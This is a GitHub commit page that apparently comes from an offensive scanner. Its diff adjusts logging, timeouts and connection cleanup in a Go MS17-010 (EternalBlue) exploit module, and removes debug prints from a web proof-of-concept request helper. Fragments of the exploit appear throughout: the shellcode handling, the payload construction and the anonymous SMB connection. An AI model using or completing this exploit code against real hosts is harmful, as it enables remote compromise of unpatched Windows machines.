Skip to content

Commit

Permalink
Remove annoying debug error
Browse files Browse the repository at this point in the history
  • Loading branch information
u21h2 committed Jul 5, 2022
1 parent c3a99f0 commit 996122c
Show file tree
Hide file tree
Showing 2 changed files with 14 additions and 13 deletions.
23 changes: 12 additions & 11 deletions nonweb/services/ms17010_exp.go
Original file line number Diff line number Diff line change
Expand Up @@ -52,23 +52,22 @@ func MS17010EXP(info nonweb_utils.HostInfo) {

sc1, err := hex.DecodeString(sc)
if err != nil {
logger.DebugError(err)
logger.Error("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error())
return
}
err = eternalBlue(address, 12, 12, sc1)
if err != nil {
logger.DebugError(err)
logger.Error("[-] " + info.Host + " MS17-010 exp failed " + err.Error())
return
}
fmt.Println("[*] " + info.Host + " MS17-010 exploit end")
logger.Success("[*] " + info.Host + "\tMS17-010\texploit end")
}

func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error {
// check sc size
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16
l := len(sc)
if l > maxscSize {
fmt.Println(maxscSize)
//fmt.Println(maxscSize)
return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize)
}
payload := makeKernelUserPayload(sc)
Expand Down Expand Up @@ -189,15 +188,16 @@ func makeKernelUserPayload(sc []byte) []byte {
}

func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
conn, err := net.DialTimeout("tcp", address, 5*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, nil, fmt.Errorf("failed to connect host: %s", err)
}
var ok bool
defer func() {
if !ok {
_ = conn.Close()
}
}()
err = smbClientNegotiate(conn)
if err != nil {
return nil, nil, fmt.Errorf("failed to negotiate: %s", err)
Expand All @@ -215,6 +215,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
if err != nil {
return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err)
}
ok = true
return header, conn, nil
}

Expand Down
4 changes: 2 additions & 2 deletions web/pocv1/lib/eval.go
Original file line number Diff line number Diff line change
Expand Up @@ -599,13 +599,13 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
fmt.Println(err)
//fmt.Println(err)
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
fmt.Println(err)
//fmt.Println(err)
return nil, err
}
return resp, err
Expand Down

0 comments on commit 996122c

Please sign in to comment.